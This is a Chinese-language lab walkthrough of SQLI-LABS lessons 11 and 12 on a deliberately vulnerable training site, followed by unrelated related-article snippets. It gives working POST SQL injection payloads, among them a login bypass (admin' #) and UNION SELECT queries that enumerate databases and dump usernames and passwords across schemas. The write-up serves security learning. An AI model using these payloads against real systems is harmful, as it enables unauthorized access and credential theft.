SQLI-LABS(Less-11、12)
Less-11(POST-Error Based-Single Quotes-String)
打开Less-11
的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。
万能密码
那么先尝试一下万能密码登录,用户名:admin' #
、密码随便填一个:
从上图可以看出登陆成功,并且会回显账号和密码。
其他方法
判断注入
先随便尝试一个账号密码,uname=name & passwd=pass
显示登录失败,接着修改post包,加入引号
看是否会报错.
可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是单引号
。到此可以发现SQL语句的报错会显示在前端页面。
判断当前数据表列数
注入语句:uname=name' order by 1# & passwd=pass
当尝试到uname=name' order by 3# & passwd=pass
时,出现了报错,由此可以判断该表只有两列。
判断回显位
注入语句:uname=name' union select 1,2 # & passwd=pass
判断数用户名和据库名
注入语句:uname=name' union select user(),database() # & passwd=pass
通过上述注入可以得知,当前数据库名为security
,当前用户为root
,接着找出这个数据库中的所有数据表。
确定当前数据库内表名
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass
通过上述注入可以得知当前数据库中存在emails
、referers
、uagents
、users
四张数据表。
确定users表中列名
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass
通过上述注入可以得知users
表中存在三列,分别为id
、username
、password
。
确定users表中的用户名和密码
注入语句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass
到此,就得到了当前表中所有的用户名和密码。
跨数据库注入
通过上面的步骤可以看到当前用户是root
用户,那么可以尝试爆其他数据库中的信息。
确定当前服务器上有哪些数据库
注入语句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass
通过上述注入可以得知当前服务器中的数据库由:information_schema
、bWAPP
、challenges
、dvwa
、mysql
、performance_schema
、security
、test
确定bWAPP数据库中的数据表
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass
上图中可以看出在bWAPP
库中的表分别是blog
,heroes
,movies
,users
,visitors
。
确定users数据库中的列名
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass
可以看到users
表中的列名为:id
,login
,password
,email
,secret
,activation_code
,activated
,reset_code
,admin
。
确定users表中的邮箱和密码
注入语句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass
这样就成功拿到了邮箱和密码,通过查md5可以得到密码为bug
。
Less-12(POST-Error Based-Double Quotes-String-with twist)
通过注入uname=name" & passwd=pass
发现SQL闭合符号为")
,其余操作均与第11关相同。
确定回显位,其余操作不再赘述:
SQLI-LABS(Less-11、12)的更多相关文章
- 阅读<构建之法>第三10、11、12章并提出问题
<构建之法>第10.11.12章 第10章: 问题:对我们了解了用户的需求后,但是我们想法和做出来的软件会和用户的需求有偏差,比如风格.界面的修饰等等,那么我们程序猿怎样才能让自己的想法更 ...
- 第11、12章等待方法和alter框处理
11.等待方法 time sleep webdriver implicitly_wait() 设置浏览器等待时间 WebDriverWait 等待条件满足或超时后退出 12.alter对话框处理 ...
- 阅读<构建之法>第三10、11、12章
第10章:典型用户和场景 阅读了第10章之后,我知道典型用户很重要,典型用户是某类群体的代表,他们的观点能够反映一类人的观点与对产品的要求,那么要怎么样才能够从一类群体里,选择正确的典型用户反映我们研 ...
- JavaScript高级程序设计(第三版)学习笔记11、12、17章
章, DOM扩展 选择符 API Selector API Level1核心方法querySelector .querySelectorAll,兼容的浏览器可以使用 Document,Element ...
- <构建之法>第11、12章
第11章软件设计与实现 主要讲了典型的开发流程和开发阶段的一些管理方法 问题: 从spec道实现是代码的实现吗? 第12章 用户体验 主要讲了用户体验的各种角度和认识阻力登 问题: 用户的体验是设计前 ...
- 阅读<构建之法>第10、11、12章
第10章 典型用户和场景 10.2 规格说明书 10.3 功能驱动的设计 问题:怎样写好spec?功能驱动设计的功能设计阶段怎样实现一个具体的功能? 第11章 软件设计与实现 11.2开发阶段的日常管 ...
- VMware Workstation Pro 11、12 密钥
11:1F04Z-6D111-7Z029-AV0Q4-3AEH8 12:5A02H-AU243-TZJ49-GTC7K-3C61N
- TW实习日记:第11、12天
这两天其实都在做一件事,项目组组长丢了个需求下来,要求完成一个百度地图api的页面.原本以为和之前写微信接口的类似,没想到这次问题这么多.并且在写代码的时候和组长交流不畅导致心情也很差,深刻的反思了一 ...
- 求出1~13的整数中1出现的次数,并算出100~1300的整数中1出现的次数?为此他特别数了一下1~13中包含1的数字有1、10、11、12、13因此共出现6次,但是对于后面问题他就没辙了。ACMer希望你们帮帮他,并把问题更加普遍化,可以很快的求出任意非负整数区间中1出现的次数。
// test20.cpp : 定义控制台应用程序的入口点. // include "stdafx.h" include include include include inclu ...
- <构建之法>第三10、11、12章
第十章 典型用户和场景 问题:如何更准确知道用户的需求是什么,设计出满足用户的软件? 第十一章 软件设计与实现 问题:软件设计过程中,如何管理设计变更? 第十二章 用户体验 问题:在何时开始设计用户体 ...
随机推荐
- 如何在Windows端安装scala
一.首先确保jdk安装成功 首先在安装之前,确保本地已经安装了JDK1.5以上的版本,在此安装的是1.8版本.并且已经设置了JAVA_HOME 环境变量及JDK的bin目录. 1.新建JAVA_H ...
- Excel如何核对同一行的两列数据是否一致
方法一 Ctrl+G 快捷键Ctrl+G,点击[定位条件],选择"行内容差异单元格",点击[确定]. 方法二 条件格式 逆向思维,先利用条件格式查找出相同的数据,筛选剔除相同的数据 ...
- Vdbench 参数详解
Vdbench 参数详解 HD:主机定义 如果您希望展示当前主机,则设置 hd= localhost.如果希望指定一个远程主机,hd= label. system= IP 地址或网络名称. clien ...
- Stream 总结
1 前言 Stream 是 Java 8 中为方便操作集合及其元素而定制的接口,它将要处理的元素集合看作一种流,对流中的元素进行过滤.排序.映射.聚合等操作.使用 Stream API,就好像使用 S ...
- updatedb命令
updatedb命令 updatedb创建或更新locate命令使用的数据库,如果数据库已经存在,则重用其数据以避免重新读取未更改的目录,updatedb通常由cron每天运行以更新默认数据库. 语法 ...
- nginx新增conf文件
说明 最近租了一台美国vps,通过nginx反向代理设置搞谷歌镜像.因为BxxDx搜索太垃圾.中间涉及到添加反向代理配置. 操作步骤 1.在conf.d文件下新增配置 cd /etc/nginx/co ...
- 以二进制文件安装K8S之部署Master高可用集群
如下以二进制文件方式部署安全的Kubernetes Master高可用集群,具体步骤如下: 1.下载Kubernetes服务的二进制文件 2.部署kube-apiserver服务 3.创建客户端CA证 ...
- Ubuntu 安装 Python3.6.7
注意: 不要卸载ubuntu自带的python版本: ubuntu下不同版本的python可以共存,可直接安装python3.6. 1.升级包索引和软件 sudo apt update sudo ap ...
- nginx中使用perl脚本来定制一些请求转发等等
http://t.zoukankan.com/carriezhangyan-p-9359708.html https://blog.csdn.net/weixin_28917223/article/d ...
- ContentType组件表使用
https://www.shuzhiduo.com/A/qVdepN2r5P/